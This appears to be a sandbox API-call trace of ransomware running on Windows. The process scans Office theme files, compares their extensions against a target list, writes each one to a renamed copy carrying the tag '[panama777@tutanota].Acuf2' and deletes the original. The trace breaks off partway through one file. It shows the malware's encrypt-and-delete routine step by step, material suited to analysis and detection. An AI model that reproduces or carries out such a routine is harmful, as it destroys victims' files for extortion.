	[0256.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.984] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1967905) returned 1
	[0256.984] CloseHandle (hObject=0x340) returned 1
	[0256.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20
	[0257.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0257.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.007] lstrlenW (lpString=".doc") returned 4
	[0257.007] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.007] lstrlenW (lpString=".docx") returned 5
	[0257.008] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.008] lstrlenW (lpString=".pdf") returned 4
	[0257.008] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".xls") returned 4
	[0257.008] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".xlsx") returned 5
	[0257.008] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.008] lstrlenW (lpString=".ppt") returned 4
	[0257.008] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString=".zip") returned 4
	[0257.008] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".rar") returned 4
	[0257.008] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".bz2") returned 4
	[0257.008] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".7z") returned 3
	[0257.008] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString=".dbf") returned 4
	[0257.008] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString=".1cd") returned 4
	[0257.008] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString=".jpg") returned 4
	[0257.008] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.008] lstrlenW (lpString=".doc") returned 4
	[0257.008] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.008] lstrlenW (lpString=".docx") returned 5
	[0257.009] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.009] lstrlenW (lpString=".pdf") returned 4
	[0257.009] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString=".xls") returned 4
	[0257.009] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString=".xlsx") returned 5
	[0257.009] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.009] lstrlenW (lpString=".ppt") returned 4
	[0257.009] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.009] lstrlenW (lpString=".zip") returned 4
	[0257.009] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString=".rar") returned 4
	[0257.009] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString=".bz2") returned 4
	[0257.009] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.009] lstrlenW (lpString=".7z") returned 3
	[0257.009] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.009] lstrlenW (lpString=".dbf") returned 4
	[0257.010] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.010] lstrlenW (lpString=".1cd") returned 4
	[0257.010] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79
	[0257.010] lstrlenW (lpString=".jpg") returned 4
	[0257.010] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.010] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.010] lstrlenW (lpString="Elemental.eftx") returned 14
	[0257.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.018] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=314017) returned 1
	[0257.018] CloseHandle (hObject=0x344) returned 1
	[0257.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20
	[0257.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.018] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.018] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.019] GetLastError () returned 0x0
	[0257.019] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x4caa1, lpOverlapped=0x0) returned 1
	[0257.032] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x4cab0, lpOverlapped=0x0) returned 1
	[0257.038] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.038] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0257.038] SetEndOfFile (hFile=0x340) returned 1
	[0257.038] CloseHandle (hObject=0x340) returned 1
	[0257.038] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.038] SetEndOfFile (hFile=0x344) returned 1
	[0257.046] CloseHandle (hObject=0x344) returned 1
	[0257.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1
	[0257.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.046] lstrlenW (lpString=".doc") returned 4
	[0257.047] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".docx") returned 5
	[0257.047] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.047] lstrlenW (lpString=".pdf") returned 4
	[0257.047] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".xls") returned 4
	[0257.047] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".xlsx") returned 5
	[0257.047] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.047] lstrlenW (lpString=".ppt") returned 4
	[0257.047] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.047] lstrlenW (lpString=".zip") returned 4
	[0257.047] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".rar") returned 4
	[0257.047] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".bz2") returned 4
	[0257.047] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString=".7z") returned 3
	[0257.047] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.047] lstrlenW (lpString=".dbf") returned 4
	[0257.047] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.047] lstrlenW (lpString=".1cd") returned 4
	[0257.047] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString=".jpg") returned 4
	[0257.048] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString=".doc") returned 4
	[0257.048] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".docx") returned 5
	[0257.048] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.048] lstrlenW (lpString=".pdf") returned 4
	[0257.048] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".xls") returned 4
	[0257.048] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".xlsx") returned 5
	[0257.048] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.048] lstrlenW (lpString=".ppt") returned 4
	[0257.048] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString=".zip") returned 4
	[0257.048] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".rar") returned 4
	[0257.048] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".bz2") returned 4
	[0257.048] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString=".7z") returned 3
	[0257.048] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString=".dbf") returned 4
	[0257.048] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.048] lstrlenW (lpString=".1cd") returned 4
	[0257.049] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81
	[0257.049] lstrlenW (lpString=".jpg") returned 4
	[0257.049] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.049] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.049] lstrlenW (lpString="Equity.eftx") returned 11
	[0257.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.050] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=24611) returned 1
	[0257.050] CloseHandle (hObject=0x344) returned 1
	[0257.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20
	[0257.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.051] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.051] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.052] GetLastError () returned 0x0
	[0257.052] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x6023, lpOverlapped=0x0) returned 1
	[0257.054] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x6030, lpOverlapped=0x0) returned 1
	[0257.184] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.184] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0257.184] SetEndOfFile (hFile=0x340) returned 1
	[0257.184] CloseHandle (hObject=0x340) returned 1
	[0257.184] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.184] SetEndOfFile (hFile=0x344) returned 1
	[0257.188] CloseHandle (hObject=0x344) returned 1
	[0257.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1
	[0257.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.342] lstrlenW (lpString=".doc") returned 4
	[0257.353] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.353] lstrlenW (lpString=".docx") returned 5
	[0257.353] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.353] lstrlenW (lpString=".pdf") returned 4
	[0257.353] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.353] lstrlenW (lpString=".xls") returned 4
	[0257.353] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.353] lstrlenW (lpString=".xlsx") returned 5
	[0257.353] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.354] lstrlenW (lpString=".ppt") returned 4
	[0257.354] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.373] lstrlenW (lpString=".zip") returned 4
	[0257.373] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.373] lstrlenW (lpString=".rar") returned 4
	[0257.373] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.373] lstrlenW (lpString=".bz2") returned 4
	[0257.373] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.373] lstrlenW (lpString=".7z") returned 3
	[0257.374] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString=".dbf") returned 4
	[0257.374] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString=".1cd") returned 4
	[0257.374] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString=".jpg") returned 4
	[0257.374] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString=".doc") returned 4
	[0257.374] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString=".docx") returned 5
	[0257.374] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.374] lstrlenW (lpString=".pdf") returned 4
	[0257.374] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString=".xls") returned 4
	[0257.374] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString=".xlsx") returned 5
	[0257.374] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.374] lstrlenW (lpString=".ppt") returned 4
	[0257.374] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.374] lstrlenW (lpString=".zip") returned 4
	[0257.375] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.375] lstrlenW (lpString=".rar") returned 4
	[0257.375] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.375] lstrlenW (lpString=".bz2") returned 4
	[0257.375] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.375] lstrlenW (lpString=".7z") returned 3
	[0257.375] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.375] lstrlenW (lpString=".dbf") returned 4
	[0257.375] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.375] lstrlenW (lpString=".1cd") returned 4
	[0257.375] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78
	[0257.375] lstrlenW (lpString=".jpg") returned 4
	[0257.375] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.375] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.375] lstrlenW (lpString="Horizon.eftx") returned 12
	[0257.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.377] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=211090) returned 1
	[0257.377] CloseHandle (hObject=0x340) returned 1
	[0257.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20
	[0257.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.591] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.591] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.591] GetLastError () returned 0x0
	[0257.591] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x33892, lpOverlapped=0x0) returned 1
	[0257.617] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x338a0, lpOverlapped=0x0) returned 1
	[0257.621] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
